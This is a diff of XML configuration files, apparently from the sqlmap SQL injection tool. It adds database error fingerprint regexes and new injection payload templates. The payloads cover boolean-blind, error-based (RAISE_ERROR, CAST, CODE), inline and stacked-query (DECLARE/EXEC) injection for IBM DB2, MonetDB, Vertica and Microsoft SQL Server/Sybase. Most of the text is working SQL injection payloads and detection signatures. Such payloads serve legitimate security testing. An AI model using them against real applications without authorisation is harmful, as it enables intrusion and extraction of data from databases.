<!-- Ingres -->
|
||||
<dbms value="Ingres">
|
||||
<error regexp="Warning.*?\Wingres_"/>
|
||||
<error regexp="Ingres SQLSTATE"/>
|
||||
@@ -151,21 +149,72 @@
|
||||
<error regexp="com\.ingres\.gcf\.jdbc"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Frontbase -->
|
||||
<dbms value="Frontbase">
|
||||
<dbms value="FrontBase">
|
||||
<error regexp="Exception (condition )?\d+\. Transaction rollback"/>
|
||||
<error regexp="com\.frontbase\.jdbc"/>
|
||||
<error regexp="Syntax error 1. Missing"/>
|
||||
<error regexp="(Semantic|Syntax) error [1-4]\d{2}\."/>
|
||||
</dbms>
|
||||
|
||||
<!-- HSQLDB -->
|
||||
<dbms value="HSQLDB">
|
||||
<error regexp="Unexpected end of command in statement \["/>
|
||||
<error regexp="Unexpected token.*?in statement \["/>
|
||||
<error regexp="org\.hsqldb\.jdbc"/>
|
||||
</dbms>
|
||||
|
||||
<!-- H2 -->
|
||||
<dbms value="H2">
|
||||
<error regexp="org\.h2\.jdbc"/>
|
||||
<error regexp="\[42000-192\]"/>
|
||||
</dbms>
|
||||
|
||||
<dbms value="MonetDB">
|
||||
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
|
||||
<error regexp="\[MonetDB\]\[ODBC Driver"/>
|
||||
<error regexp="nl\.cwi\.monetdb\.jdbc"/>
|
||||
</dbms>
|
||||
|
||||
<dbms value="Apache Derby">
|
||||
<error regexp="Syntax error: Encountered"/>
|
||||
<error regexp="org\.apache\.derby"/>
|
||||
<error regexp="ERROR 42X01"/>
|
||||
</dbms>
|
||||
|
||||
<dbms value="Vertica">
|
||||
<error regexp=", Sqlstate: (3F|42).{3}, (Routine|Hint|Position):"/>
|
||||
<error regexp="/vertica/Parser/scan"/>
|
||||
<error regexp="com\.vertica\.jdbc"/>
|
||||
<error regexp="org\.jkiss\.dbeaver\.ext\.vertica"/>
|
||||
<error regexp="com\.vertica\.dsi\.dataengine"/>
|
||||
</dbms>
|
||||
|
||||
<dbms value="Mckoi">
|
||||
<error regexp="com\.mckoi\.JDBCDriver"/>
|
||||
<error regexp="com\.mckoi\.database\.jdbc"/>
|
||||
<error regexp="<REGEX_LITERAL>"/>
|
||||
</dbms>
|
||||
|
||||
<dbms value="Presto">
|
||||
<error regexp="com\.facebook\.presto\.jdbc"/>
|
||||
<error regexp="io\.prestosql\.jdbc"/>
|
||||
<error regexp="com\.simba\.presto\.jdbc"/>
|
||||
<error regexp="UNION query has different number of fields: \d+, \d+"/>
|
||||
</dbms>
|
||||
|
||||
<dbms value="Altibase">
|
||||
<error regexp="Altibase\.jdbc\.driver"/>
|
||||
</dbms>
|
||||
|
||||
<dbms value="MimerSQL">
|
||||
<error regexp="com\.mimer\.jdbc"/>
|
||||
<error regexp="Syntax error,[^\n]+assumed to mean"/>
|
||||
</dbms>
|
||||
|
||||
<dbms value="CrateDB">
|
||||
<error regexp="io\.crate\.client\.jdbc"/>
|
||||
</dbms>
|
||||
|
||||
<dbms value="Cache">
|
||||
<error regexp="encountered after end of query"/>
|
||||
<error regexp="A comparison operator is required here"/>
|
||||
</dbms>
|
||||
</root>
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -824,7 +824,6 @@ Tag: <test>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -845,7 +844,6 @@ Tag: <test>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1193,7 +1191,6 @@ Tag: <test>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1214,7 +1211,6 @@ Tag: <test>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1332,6 +1328,44 @@ Tag: <test>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>IBM DB2 boolean-based blind - ORDER BY clause</title>
|
||||
<stype>1</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>3</clause>
|
||||
<where>1</where>
|
||||
<vector>,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
|
||||
<request>
|
||||
<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>IBM DB2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>IBM DB2 boolean-based blind - ORDER BY clause (original value)</title>
|
||||
<stype>1</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>3</clause>
|
||||
<where>1</where>
|
||||
<vector>,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
|
||||
<request>
|
||||
<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>IBM DB2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<!-- Works in MySQL, Oracle, etc. -->
|
||||
<test>
|
||||
<title>HAVING boolean-based blind - WHERE, GROUP BY clause</title>
|
||||
@@ -1452,7 +1486,6 @@ Tag: <test>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1474,7 +1507,6 @@ Tag: <test>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
|
||||
@@ -404,7 +404,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -425,7 +424,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -446,7 +444,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -467,7 +464,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -488,7 +484,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -509,7 +504,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -672,7 +666,7 @@
|
||||
<stype>2</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,9</clause>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
@@ -689,9 +683,9 @@
|
||||
<test>
|
||||
<title>Firebird OR error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>3</level>
|
||||
<level>4</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,9</clause>
|
||||
<clause>1</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
@@ -704,6 +698,121 @@
|
||||
<dbms>Firebird</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MonetDB AND error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MonetDB</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MonetDB OR error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>4</level>
|
||||
<risk>3</risk>
|
||||
<clause>1</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MonetDB</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Vertica AND error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Vertica</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Vertica OR error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>4</level>
|
||||
<risk>3</risk>
|
||||
<clause>1</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Vertica</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>IBM DB2 AND error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>IBM DB2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>IBM DB2 OR error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<vector>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>IBM DB2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<!--
|
||||
TODO: if possible, add payload for SQLite, Microsoft Access,
|
||||
and SAP MaxDB - no known techniques at this time
|
||||
@@ -924,7 +1033,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -945,7 +1053,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -986,6 +1093,25 @@
|
||||
<dbms>Firebird</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>IBM DB2 error-based - Parameter replace</title>
|
||||
<stype>2</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,3</clause>
|
||||
<where>3</where>
|
||||
<vector>RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>IBM DB2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
<!-- End of error-based tests - Parameter replace -->
|
||||
|
||||
<!-- Error-based tests - ORDER BY, GROUP BY clause -->
|
||||
@@ -1129,7 +1255,6 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
|
||||
<test>
|
||||
<title>PostgreSQL error-based - ORDER BY, GROUP BY clause</title>
|
||||
<stype>2</stype>
|
||||
@@ -1185,7 +1310,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1213,7 +1337,7 @@
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>2,3</clause>
|
||||
<clause>3</clause>
|
||||
<where>1</where>
|
||||
<vector>,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector>
|
||||
<request>
|
||||
@@ -1226,9 +1350,51 @@
|
||||
<dbms>Firebird</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>IBM DB2 error-based - ORDER BY clause</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>3</clause>
|
||||
<where>1</where>
|
||||
<vector>,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>IBM DB2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
<!--
|
||||
TODO: if possible, add payload for SQLite, Microsoft Access
|
||||
and SAP MaxDB - no known techniques at this time
|
||||
-->
|
||||
<!-- End of error-based tests - ORDER BY, GROUP BY clause -->
|
||||
|
||||
<!-- Error-based tests - stacking -->
|
||||
<test>
|
||||
<title>Microsoft SQL Server/Sybase error-based - Stacking (EXEC)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR]</vector>
|
||||
<request>
|
||||
<payload>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR]</payload>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
</details>
|
||||
</test>
|
||||
<!-- End of error-based tests - stacking -->
|
||||
</root>
|
||||
|
||||
@@ -3,19 +3,31 @@
|
||||
<root>
|
||||
<!-- Inline queries tests -->
|
||||
<test>
|
||||
<title>MySQL inline queries</title>
|
||||
<title>Generic inline queries</title>
|
||||
<stype>3</stype>
|
||||
<level>1</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8</clause>
|
||||
<where>3</where>
|
||||
<vector>(SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]'))</vector>
|
||||
<request>
|
||||
<payload>(SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]'))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL inline queries</title>
|
||||
<stype>3</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8</clause>
|
||||
<where>3</where>
|
||||
<vector>(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
|
||||
<request>
|
||||
<!-- These work as good as ELT(), but are longer
|
||||
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
|
||||
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
||||
-->
|
||||
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
||||
<payload>(SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]'))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
@@ -28,7 +40,7 @@
|
||||
<test>
|
||||
<title>PostgreSQL inline queries</title>
|
||||
<stype>3</stype>
|
||||
<level>1</level>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8</clause>
|
||||
<where>3</where>
|
||||
@@ -47,13 +59,13 @@
|
||||
<test>
|
||||
<title>Microsoft SQL Server/Sybase inline queries</title>
|
||||
<stype>3</stype>
|
||||
<level>1</level>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8</clause>
|
||||
<where>3</where>
|
||||
<vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')</payload>
|
||||
<payload>(SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
@@ -61,7 +73,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -74,7 +85,8 @@
|
||||
<where>3</where>
|
||||
<vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
|
||||
<request>
|
||||
<payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL)</payload>
|
||||
<!-- NOTE: Vertica works too without the TO_NUMBER() -->
|
||||
<payload>(SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
@@ -93,7 +105,7 @@
|
||||
<where>3</where>
|
||||
<vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'</vector>
|
||||
<request>
|
||||
<payload>SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]'</payload>
|
||||
<payload>SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]'</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
<root>
|
||||
<!-- Stacked queries tests -->
|
||||
<test>
|
||||
<title>MySQL > 5.0.11 stacked queries (comment)</title>
|
||||
<title>MySQL >= 5.0.12 stacked queries (comment)</title>
|
||||
<stype>4</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
@@ -19,12 +19,12 @@
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>> 5.0.11</dbms_version>
|
||||
<dbms_version>>= 5.0.12</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL > 5.0.11 stacked queries</title>
|
||||
<title>MySQL >= 5.0.12 stacked queries</title>
|
||||
<stype>4</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
@@ -39,12 +39,12 @@
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>> 5.0.11</dbms_version>
|
||||
<dbms_version>>= 5.0.12</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL > 5.0.11 stacked queries (query SLEEP - comment)</title>
|
||||
<title>MySQL >= 5.0.12 stacked queries (query SLEEP - comment)</title>
|
||||
<stype>4</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
@@ -60,12 +60,12 @@
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>> 5.0.11</dbms_version>
|
||||
<dbms_version>>= 5.0.12</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL > 5.0.11 stacked queries (query SLEEP)</title>
|
||||
<title>MySQL >= 5.0.12 stacked queries (query SLEEP)</title>
|
||||
<stype>4</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
@@ -80,7 +80,7 @@
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>> 5.0.11</dbms_version>
|
||||
<dbms_version>>= 5.0.12</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -264,7 +264,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -286,7 +285,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -307,7 +305,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -328,7 +325,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
|
||||
@@ -169,7 +169,7 @@
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL <= 5.0.11 AND time-based blind (heavy query)</title>
|
||||
<title>MySQL < 5.0.12 AND time-based blind (heavy query)</title>
|
||||
<stype>5</stype>
|
||||
<level>2</level>
|
||||
<risk>2</risk>
|
||||
@@ -184,12 +184,12 @@
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version><= 5.0.11</dbms_version>
|
||||
<dbms_version>< 5.0.12</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL <= 5.0.11 OR time-based blind (heavy query)</title>
|
||||
<title>MySQL < 5.0.12 OR time-based blind (heavy query)</title>
|
||||
<stype>5</stype>
|
||||
<level>2</level>
|
||||
<risk>3</risk>
|
||||
@@ -204,12 +204,12 @@
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version><= 5.0.11</dbms_version>
|
||||
<dbms_version>< 5.0.12</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL <= 5.0.11 AND time-based blind (heavy query - comment)</title>
|
||||
<title>MySQL < 5.0.12 AND time-based blind (heavy query - comment)</title>
|
||||
<stype>5</stype>
|
||||
<level>5</level>
|
||||
<risk>2</risk>
|
||||
@@ -225,12 +225,12 @@
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version><= 5.0.11</dbms_version>
|
||||
<dbms_version>< 5.0.12</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL <= 5.0.11 OR time-based blind (heavy query - comment)</title>
|
||||
<title>MySQL < 5.0.12 OR time-based blind (heavy query - comment)</title>
|
||||
<stype>5</stype>
|
||||
<level>5</level>
|
||||
<risk>3</risk>
|
||||
@@ -246,7 +246,7 @@
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version><= 5.0.11</dbms_version>
|
||||
<dbms_version>< 5.0.12</dbms_version>
|
||||
</details>
|
||||
